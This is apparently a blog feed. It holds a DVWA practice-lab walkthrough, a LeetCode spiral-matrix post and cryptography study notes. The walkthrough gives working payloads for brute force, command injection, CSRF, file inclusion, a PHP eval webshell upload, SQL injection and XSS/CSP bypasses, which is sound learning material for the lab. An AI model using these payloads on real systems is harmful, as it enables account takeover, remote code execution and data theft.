requrl="http://150.158.167.184:81/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i=i+1
print (i , 'admin' ,line.strip(),end=" ")
user_token=get_token(requrl,header)
# 尝试次数
if(i==20):
break

image-20220127114525285

命令注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

1.Low

没有任何防护,可以直接执行命令:127.0.0.1 && ipconfig

2.medium

1
2
命令1  &&  命令2  表示先执行命令1,成功后接着执行命令2。
命令1 || 命令2 表示先执行命令1,不成功再执行命令2,命令1执行成功,则不再执行命令2。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1、“;”分隔符
用分号分隔的命令会按顺序执行,即使中间命令使用方式不对,会有相关错误输出,后面的命令照样会执行。如:

输入:命令A;命令B;命令C

按顺序执行A、B、C命令,若B命令调用方式不对,终端会有相关错误提示,提示后会继续执行C命令。



2、“&&”分隔符
同C、C++语言逻辑运算符"&&"类似,遇到首个命令执行失败后,后面的命令不会执行。如:

输入:命令A && 命令B && 命令C

先执行命令A,若A命令执行正确则再执行命令B。假如命令B执行失败,则停止,C命令不会被执行到。



3、“||”分隔符
同C、C++语言逻辑运算符"||"类似,遇到首个命令执行成功后,后面的命令不会执行。如:

输入:命令A || 命令B || 命令C

先执行命令A,若A命令执行失败则再执行命令B。假如命令B执行成功,则停止,C命令不会被执行到。

用黑名单的形势过滤了‘&&’和’;’命令连接符。

1
2
3
4
5
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

此时,可以只使用’&’来进行命令注入。

image-20220122114355231

3.high

对很多符号都进行了黑名单限制

1
2
3
4
5
6
7
8
9
10
11
12
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

但其中有一处细节,’| ‘后面有空格,只过滤了有空格的|命令,此时可以通过无空格的’|’来进行命令注入。

4.impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

impossible也就是防护方法,通过对ip地址分片,对四个部分进行检查,判断是否都是数字。这样就可以从逻辑上防止命令注入。

CSRF

img

原理:攻击者利用目标用户的身份,以目标用户的名义执行非法操作

  • 目标用户已经登陆了网站,能够执行网站的操作
  • 目标用户访问了攻击者构造的URL

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

1.low

没有任何防护,可以直接通过url进行修改密码。可以通过“短链接”+“社工”的方式,诱惑受害人点击此链接,从而成功修改密码。

短链接在线生成:http://tool.chinaz.com/tools/dwz.aspx

password_new=123&password_conf=123&Change=Change#

可以伪装成恶意网页,进行欺骗攻击

1
2
3
4
<h1>404<h1>

<a href="http://49.232.78.252:81/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#">W3School</a>
<h2>file not found.<h2>

image-20220122223437202

受害者点开链接之后,密码已被修改。

网上还有一种攻击方式:

1
2
<img src="http://192.168.50.100/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=
hack&Change=Change#" border="0" style="display:none;"/>

打开网页文件即可,不用点击链接。但是已经多次实践未成功。

2.medium

image-20220122214135985

1
2
3
4
5
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

对referer进行了检查

1
2
3
4
5
6
7
8
9
GET /vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change HTTP/1.1
Host: 49.232.78.252:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Referer: http://49.232.78.252:81/vulnerabilities/csrf/
Cookie: PHPSESSID=9mjbjlhio6pup4mq4ne932fbo2; security=medium
Upgrade-Insecure-Requests: 1

添加referer之后便可成功修改密码

image-20220122220656993

或者对referer根据判断条件进行伪造

3.high

1
http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change&user_token=367c7e82e1c3e847203981e6d36ced78#

在url后面添加了token

通过XSS弹出token

1
2
3
<img src="../csrf"onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
或者
<iframe src="../csrf"onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>

image-20220122224913629

在URL后面加上通过XSS窃取的token,即可攻击成功。

文件包含

1.low

image-20220123153556747

1
2
3
4
5
6
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

image-20220123154324075

可以直接读取phpinfo

本地文件包含:

1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=D:\\wamp\\www\\DVWA\\phpinfo.php

远程文件包含:

1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://127.0.0.1//DVWA//about.php

也可以通过php协议读取。

image-20220123155108903

2.medium

对输入进行了验证,对不法字符进行替换。

1
2
3
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

str_replace函数是不安全的,可以采用双写进行绕过。

1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=htthttp://p://127.0.0.1//123.txt
1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=....//....//....//123.txt
1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..././..././..././123.txt

3.high

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>
1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file://D://wamp//install.txt

payload如下:

新建文件123.txt

1
2
3
4
5
<?php
phpinfo();
?>
hello world
@@@@@

image-20220123200007635

文件上传

1.low

无任何限制,可直接上传文件

但是对文件大小做了限制,可以在前端进行修改。

上传一句话木马,然后用get传参进行攻击。

1
http://127.0.0.1/DVWA/hackable/uploads/cmd.php?cmd=system(%22dir%22);

2.medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

对文件类型进行了限制,只能上传jpeg/PNG.

可以通过修改后缀名进行绕过

首先写一句话木马

1
2
3
<?php
@eval($_REQUEST['cmd']);
?>

修改文件名为:cmd.php.jpeg或者cmd.jpeg

然后通过burpsuite进行抓包,修改文件名,并进行重放。即可上传成功。修改为php后缀。

image-20220123234346994

可以看到,上传成功

image-20220123234449958

然后用蚁剑连接即可。

拿下!

image-20220123234540979

也可以直接通过get传参。

image-20220123235016536

image-20220123235708181

3.high

或者修改文件头为:GIF89

制作图片马,进行上传。

命令:

image-20220124001307489

image-20220124000341406

然后利用远程文件包含漏洞。或者“命令注入漏洞”。

image-20220124001628374

不安全验证码

这里需要Google API,实验环境不具备。

本质上来说,是利用验证码检测的逻辑漏洞,通过修改参数,进行绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

SQL注入

1.low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

输入:1’ and 1=1

报错:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

输入:1’ and 1=1 #

image-20220124213648935

判断字段长度

1’ order by 1 #

输入3,出现报错。

说明只有两个字段。

判断回显:1’ union select 1,2 #

然后代入查询

image-20220124220733662

获取表:

1
1' union select 1,table_name from information_schema.tables where table_schema='dvwa

image-20220124221050252

如果表比较多:

1
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa

然后查询字段:

1
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users

image-20220124221524714

1
1' union select group_concat(user_id,first_name,last_name),group_concat(user,password) from users #

image-20220124221846909

MD5解密即可:

image-20220124221948385

image-20220126190404257

也可以通过sqlmap进行注入。

1
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; security_level=0; PHPSESSID=2skes96bbgh4hn8js60vknurp1" -D dvwa -T users --columns

image-20220126191946435

2.medium

image-20220124231311544

不能自己输入数据

image-20220124224410909

直接用burpsuite抓包

image-20220124224442044

id=1 or 1=1#&Submit=Submit

image-20220124224747335

image-20220124224948257

然后按照Low级别进行注入即可。

image-20220124230216520

这里对单引号进行了转义,可以用16进制或者Mysql函数进行绕过。

image-20220124230508389

1
2
s='users'.encode('utf-8')
print(s.hex())

image-20220124231444083

也可以通过hackbar提交POST

先通过BP抓包,保存为文件 ,然后用sqlmap进行注入。

3.high

在新的一个页面进行查询,防止常规sqlmap注入。

image-20220124233237791

在sqlmap中,可以用second-url指定参数,然后进行注入。

盲注

1.low

image-20220126214941988

image-20220126221926938

存在字符型注入。

然后判断数据库名称长度:

1
2
3
4
1' and length(database())=1#
1' and length(database())=2#
1' and length(database())=3#
1' and length(database())=4# 存在

然后逐字符进行判断:

1
1' and ascii(substr(database(),1,1))<122# 可使用二分法

也可以使用时间注入的方法:

1
2
1'and sleep(3)#  有延迟
1 and sleep(3)# 无延迟
1
1' and if(ascii(substr(database(),1,1))<120,sleep(5),1)#

2.medium

跟前一模块一样,先burpsuite抓包,再进行注入。

3.high

跟前一模块相同。

weak Session IDs

1.low

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>

image-20220127212611823

每按一次,session_id+1,因此可以猜解。

2.medium

1
2
3
4
5
6
7
8
9
 <?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>

cookie的值是系统当前时间。

image-20220127213037481

3.high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>

XSS

1.low

无任何过滤,直接XSS,<script>alert(1)</script>

2.medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

双写绕过:

1
<scrip<script>t>alert(/xss/)</script>

大小写绕过:

1
<Script>alert(/xss/)</script>

3.high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

过滤了’script’,可以用其他标签绕过

1
<img src="" onerror=alert(1)>

CSP绕过

1.low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.

header($headerCSP);

# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://hastebin.com/raw/ohulaquzex

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

image-20220204095601218

打开给定的网站

image-20220204095512846写入一段Js代码

image-20220204095953637

image-20220204095936972

2.medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

输入:

1
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

payload: <script src="source/jsonp.php?callback=alert('1');"></script>

]]>
+ + + + + <blockquote> +<p>二月份做过一遍,现在复习一下。</p> +</blockquote> +<h3 id="暴力破解"><a href="#暴力破解" class="headerlink" title="暴力破解"></a>暴力破解</h3><p><strong>1.lo + + + + + + + +
+ + + 螺旋矩阵输出 + + http://h4m5t.github.io/2022/01/17/juzhen/ + 2022-01-17T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 题目链接:https://leetcode-cn.com/problems/spiral-matrix/

题目要求:

给定一个m x n大小的矩阵(m行,n列),按螺旋的顺序返回矩阵中的所有元素。

举例:

1
2
输入:[[1,2,3],[4,5,6],[7,8,9]]
返回:[1,2,3,6,9,8,7,4,5]
image-20220118182124918

首先遍历最外圈,然后将矩阵缩小一圈,递归进行。

要注意边界条件,即矩阵为空,或1行或只有1列的情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
递归方法
class Solution:
def spiralOrder(self, matrix: List[List[int]]) -> List[int]:
m=len(matrix)
if m==0 or len(matrix[0])==0:
return []
n=len(matrix[0])

newlist=matrix[0]
if m>1:

for i in range(1,m):
newlist.append(matrix[i][n-1])

for j in range(n-2,-1,-1):
newlist.append(matrix[m-1][j])
if n>1:
for i in range(n-2,0,-1):
newlist.append(matrix[i][0])

M=[]
for k in range(1,m-1):
t=matrix[k][1:-1]
M.append(t)

return newlist+self.spiralOrder(M)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
思路清晰方法:
class Solution:
def spiralOrder(self, matrix: List[List[int]]) -> List[int]:
res=[]
if len(matrix)==0:
return []
#定义四个边界点
left=0
right=len(matrix[0])-1
top=0
bottom=len(matrix)-1
#在不超过边界的条件下,进行一轮循环
while (top<bottom and left<right):
for i in range(left,right):
res.append(matrix[top][i])
for i in range(top,bottom):
res.append(matrix[i][right])
for i in range(right,left,-1):
res.append(matrix[bottom][i])
for i in range(bottom,top,-1):
res.append(matrix[i][left])
left+=1
top+=1
right-=1
bottom-=1

#如果剩余1行或1列:left=0 right1
if top==bottom:
for i in range(left,right+1):
res.append(matrix[top][i])
elif left==right:
for i in range(top,bottom+1):
res.append(matrix[i][left])
return res

撞墙法,即改变方向法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Solution:
def spiralOrder(self, matrix: List[List[int]]) -> List[int]:
if not matrix:return []

x=y=0 # 矩阵元素位置初始化
res = [] # 初始化,存储遍历后的矩阵元素
dx = [ 0, 1, 0,-1] # 方向:右,下,左,上
dy = [ 1, 0,-1, 0] # 注:与通常平面坐标系 记号 不同
di = 0 # 初始化方向变量
visited = set() # 初始化集合,存储已走过的坐标
m,n = len(matrix),len(matrix[0]) # 矩阵的行列

for i in range(m*n): #
res.append(matrix[x][y]) # 存储遍历矩阵过的元素
visited.add((x,y)) # 存储遍历过的坐标
tx,ty = x+dx[di],y+dy[di] # 先记录下一步坐标,用于判断下一步怎么走
if 0<=tx<m and 0<=ty<n and (tx,ty) not in visited: # 判断坐标是否需变向,且没有遍历过
x,y = tx,ty
else:
di = (di+1)%4 # 改变方向,右下左上为一圈,防止方向坐标越界
x,y = x + dx[di],y+dy[di] # 下一步坐标
return res
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class Solution(object):
def spiralOrder(self, matrix):
"""
:type matrix: List[List[int]]
:rtype: List[int]
"""
if not matrix or not matrix[0]: return []
M, N = len(matrix), len(matrix[0])
left, right, up, down = 0, N - 1, 0, M - 1
res = []
x, y = 0, 0
dirs = [(0, 1), (1, 0), (0, -1), (-1, 0)]
cur_d = 0
while len(res) != M * N:
res.append(matrix[x][y])
if cur_d == 0 and y == right:
cur_d += 1
up += 1
elif cur_d == 1 and x == down:
cur_d += 1
right -= 1
elif cur_d == 2 and y == left:
cur_d += 1
down -= 1
elif cur_d == 3 and x == up:
cur_d += 1
left += 1
cur_d %= 4
x += dirs[cur_d][0]
y += dirs[cur_d][1]
return res

大神版:

1
2
3
4
5
6
7
8
def spiralOrder(self, matrix: List[List[int]]) -> List[int]:
res = []
while matrix:
# 削头(第一层)
res += matrix.pop(0)
# 将剩下的逆时针转九十度,等待下次被削
matrix = list(zip(*matrix))[::-1]
return res
]]>
+ + + + + <p>题目链接:<a href="https://leetcode-cn.com/problems/spiral-matrix/">https://leetcode-cn.com/problems/spiral-matrix/</a></p> +<p>题目要求:</p> +<bloc + + + + + + + +
+ + + 密码学笔记 + + http://h4m5t.github.io/2022/01/02/crypto/ + 2022-01-02T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

李卫海PPT学习笔记

其他概念

Needham-Schroeder协议

利用对称密码技术分发密钥。A,B分别与T有静态密钥。借助信任权威T,分发对称密钥Kab

多项式GCD算法

重点:模重复平方算法

1
2
3
4
5
6
c=1
for i =k-1 to 0:
c=(c^2)mod n
if ei==1:
c=c*m mod n
return

难点:AES列混合矩阵计算,有限域上的多项式模运算。

对合算法

对合运算:f =f‘ ,模 2加运算是对合运算。
密码算法是对和运算,则加密算法=解密算法,工程实现工
作量减半。

同态加密(英语:Homomorphic encryption)是一种加密形式,它允许人们对密文进行特定形式的代数运算得到仍然是加密的结果,将其解密所得到的结果与对明文进行同样的运算结果一样。换言之,这项技术令人们可以在加密的数据中进行诸如检索、比较等操作,得出正确的结果,而在整个处理过程中无需对数据进行解密。其意义在于,真正从根本上解决将数据及其操作委托给第三方时的保密问题,例如对于各种云计算的应用。

零知识证明是一种特殊的交互式证明,其中证明者知道问题的答案,他需要向验证者证明“他知道答案”这一事实,但是要求验证者不能获得答案的任何信息。

可以参考这样一个简单的例子。证明者和验证者都拿到了一个数独的题目,证明者知道一个解法,他可以采取如下这种零知识证明方法:他找出81张纸片,每一张纸片上写上1到9的一个数字,使得正好有9份写有从1到9的纸片。然后因为他知道答案,他可以把所有的纸片按照解法放在一个9乘9的方格内,使得满足数独的题目要求(每列、每行、每个九宫格都正好有1到9)。放好之后他把所有的纸片翻转,让没有字的一面朝上。这样验证者没办法看到纸片上的数字。接下来,验证者就验证数独的条件是否满足。比如他选一列,这时证明者就把这一列的纸片收集起来,把顺序任意打乱,然后把纸片翻过来,让验证者看到1到9的纸片都出现了。整个过程中验证者都无法得知每张纸片的位置,但是却能验证确实是1到9都出现了。

字频统计攻击

对凯撒密码,通过识别a-e-i或r-s-t三元组的峰,或jk和xyz的特征,可以获得密钥

对单表替换密码,破译步骤:

  • 统计密文字母出现频率
  • 将统计结果与自然语言频率表对比,确定部分密钥
  • 结合连接特征和重复特征,确定部分密钥
  • 双、三字母的频率统计表往往很有帮助
  • 从语义上,猜测其它密钥

已知明文攻击(Known plaintext attack)是一种攻击模式,指攻击者掌握了某段明文 x 和对应密文 y。

在所有密码分析中,均假设攻击者知道正在使用的密码体制,该假设称为科克霍夫假设。而已知明文攻击也假设攻击者能够获取部分明文和相应密文,如截取信息前段,通过该类型攻击获取加密方式,从而便于破解后段密文。

希尔密码依赖唯密文攻击较难破解,而通过已知明文攻击则容易攻破。

**选择明文攻击 **在这种攻击模式中,攻击者可以事先任意选择一定数量的明文,让被攻击的加密算法加密,并得到相应的密文。攻击者的目标是通过这一过程获得关于加密算法的一些信息,以利于攻击者在将来更有效的破解由同样加密算法(以及相关密钥)加密的信息。在最坏情况下,攻击者可以直接获得解密用的钥匙。

这种攻击模式初看起来并不现实,因为很难想像攻击者可以选择任意的信息并要求加密系统进行加密。不过,在公钥密码学中,这就是一个很现实的模式。这是因为公钥密码方案中,加密用的钥匙是公开的,这样攻击者就可以直接用它来加密任意的信息。

选择密文攻击 在密码分析中,选择密文攻击指的是一种攻击方式。攻击者掌握对解密机的访问权限,可构造任意密文所对应的明文x。在此种攻击模型中,密码分析者事先任意搜集一定数量的密文,让这些密文透过被攻击的加密算法解密,透过未知的密钥获得解密后的明文。

唯密文攻击指的是在仅知已加密文字(即密文)的情况下进行攻击。此方案可同时用于攻击对称密码体制和非对称密码体制。
唯密文攻击所希望达到的目的包括几种,依照成功的程度排列:

取得原始明文中的部分资讯。
取得原始明文。
得知解密用的钥匙。
穷举法是属于一种唯密文攻击,但一般在设计算法时都会考虑到穷举法。

一次性密码本(英语:one-time pad,缩写为OTP)是古典密码学中的一种加密算法。是以随机的密钥(key)组成明文,且只使用一次。

在理论上,此种密码具有完善保密性,是牢不可破的。它的安全性已由·香农所证明。

虽然它在理论上的安全性无庸置疑,但在实际操作上却有着以下的问题:

用以加密的文本,也就是一次性密码本,必须确实是随机产生的。
它至少必须和被加密的文件等长。
用以加密的文本只能用一次,且必须对非关系人小心保密,不再使用时,用以加密的文本应当要销毁,以防重复使用。

生日攻击 生日攻击是一种密码学攻击手段,所利用的是概率论中生日问题的数学原理。这种攻击手段可用于滥用两个或多个集团之间的通信。此攻击依赖于在随机攻击中的高碰撞概率和固定置换次数(鸽巢原理)。攻击者可在

image-20210713213656807

中找到散列函数碰撞,2^n 为原像抗性安全性。

重合指数法:所有字母出现概率的平方的和接近0.065,这个值称为重合指数。

数据扩散:改变明文的任何一位,密文通常有一半的位数发生变化。

数据混淆:改变密钥的任何一位,密文通常有一半的位数发生变化。

所谓扩散就是让明文中的每一位影响密文中的许多位,或者说让密文中的每一位受明文中的许多位的影响.这样可以隐蔽明文的统计特性.当然,理想的情况是让明文中的每一位影响密文中的所有位,或者说让密文中的每一位受明文中所有位的影响.
